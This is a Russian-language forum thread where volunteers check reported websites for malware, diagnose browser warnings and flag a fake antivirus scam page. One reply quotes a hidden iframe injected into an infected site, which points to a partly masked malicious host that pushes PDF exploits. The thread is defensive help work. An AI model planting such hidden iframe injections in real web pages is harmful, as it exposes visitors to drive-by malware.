Проверить сайт на наличие вирусов, все просьбы о проверке оставляйте в этой теме

[magirus]

http://avsoft.ru/forum/read.php?FID=15&TID=4041 здесь человек жалуется на блокировку сайта http://www.lesodel.com/
проверьте пожалуста.

 

[akok]

solnce, попробуйте обновить касперского и если проблема повторится, то сделайте скриншет предупреждения.

Добавлено через 6 минут 4 секунды
magirus, ничего интересного не вижу.

 

[apostol]

проверте, пожалуйста : хттп ://edelstar.com.ua/
Почему-то Вэб ругается

 

[solnce]

Вечером посмотрю код.

Ну как, было время уже посмтореть? Буду очень признательна...
********************

Прошу прощения, не сразу увидела ответ.

 

[akok]

apostol, вижу задублированный счетчик от Google Analytics

Добавлено через 53 секунды
Необходимо больше информации о проблеме.

 

[apostol]

При входе на хттп ://edelstar.com.ua/ ВЭБ блокирует какой-то другой сайт.Прошу проверить.

 

[akok]

Теперь заражен:
В конце страницы

'<div style="display:none">eddsfsdfsd<iframe width=2 height=2 src="http://**1B.com/in.c**?8"></iframe> </div> ';

Который редиректит на
хттп://t****is.com/1/index.php

Добавлено через 9 минут 42 секунды
Пытается подгрузить пользователю:

makeSites.pdf - Exploit.PDF-JS
normalSEven.pdf - Exploit.PDF-JS

 

[steelheart]

Добавлено через 32 секунды
Проверьте пожалуйста
ввв. clubfix. su

 

[Rostislav]

Помогите пожалуйста, найти iframe на сайте хттп//rostislav-brenbel.com
Анализ сайта выдаёт 6 штук, а я не могу найти. Вирусов на сайте не показывает.

 

[akok]

Rostislav, сайт отключен?

 

[glizellis]

Помогите чайнику,пожалуйста.Мой сайт занесли в список подозрительных и весит табличка предупреждения:glizellis.ucoz.ru
Подскажите,пожалуйста, что с ним такого?И может незатруднит подсказать что где заражено и чем популярно,для чайника.Могу ли я сама с этим справится или придётся убить сайт?Живу в таком месте,где нет спецов по компьютерам.Вот и ковыряюсь сама.Программы там вредоносные или вирусы?Спасите кто может!

 

[akok]

glizellis, похоже заражен. Точнее могу сказать позже....

 

[Rostislav]

Rostislav, сайт отключен?

Нет. Просто хочу найти эти ифраме у себя на сайте.

 

[akok]

glizellis, смотрю уже почистили сайт Вы молодец.

Чтоб убрать предупреждение

Добавлено через 1 минуту 3 секунды
Rostislav, тогда как я смогу проверить сайт?

 

[Cameroon]

вы только гляньте какая наглость:
http://s3.sendpic.ru/i/1028/i/LN.png.html
сначала появилось сообщение "инициализация защиты" с бегунком, потом на моих глазах как бы идет сканирование системы секунд 15, в режиме как бы реального времени находятся вирусы, и вуаля, счастливое спасение!

а незадолго до этого выскочило оповещение во обычном окне-уведомлении от Оперы, что якобы "java-компоненты устарели" от ресурса vconlakte.ru...

З.Ы. тему создавать не стал, не ругайте, если сунул не по адресу.

 

[glizellis]

Cameroon, да,наглости людской нет предела!

 

[SLL]

хттп://ввв.shkola-serial.ru/ - проверьте, пожалуйста.

 

[akok]

SLL, нужно больше информации о пробелеме.

P>S> Есть возможность убрать счетчик от kmindex.ru у него не очень хорошая репутация

http://www.mywot.com/en/scorecard/kmindex.ru
http://www.siteadvisor.com/sites/kmindex.ru

 

[SLL]

SLL, нужно больше информации о пробелеме.

Во время нахождения на сайте пару раз было зафиксировано заражение группой троянов (последний раз - вчера), большая часть которых сейчас определяется ДрВебом как Trojan.Packed.19647 и Trojan.WinSpy.557 (возможно изначально садится дроппер/даунлодер). Поэтому и хотел узнать - действительно ли атака идет с этого сайта (потому как других источников вроде не было). Сайт не мой, но админу мог бы сообщить, если сейчас что-то нехорошее есть.

 

[tactic]

хттп://ввв.shkola-serial.ru/ - проверьте, пожалуйста.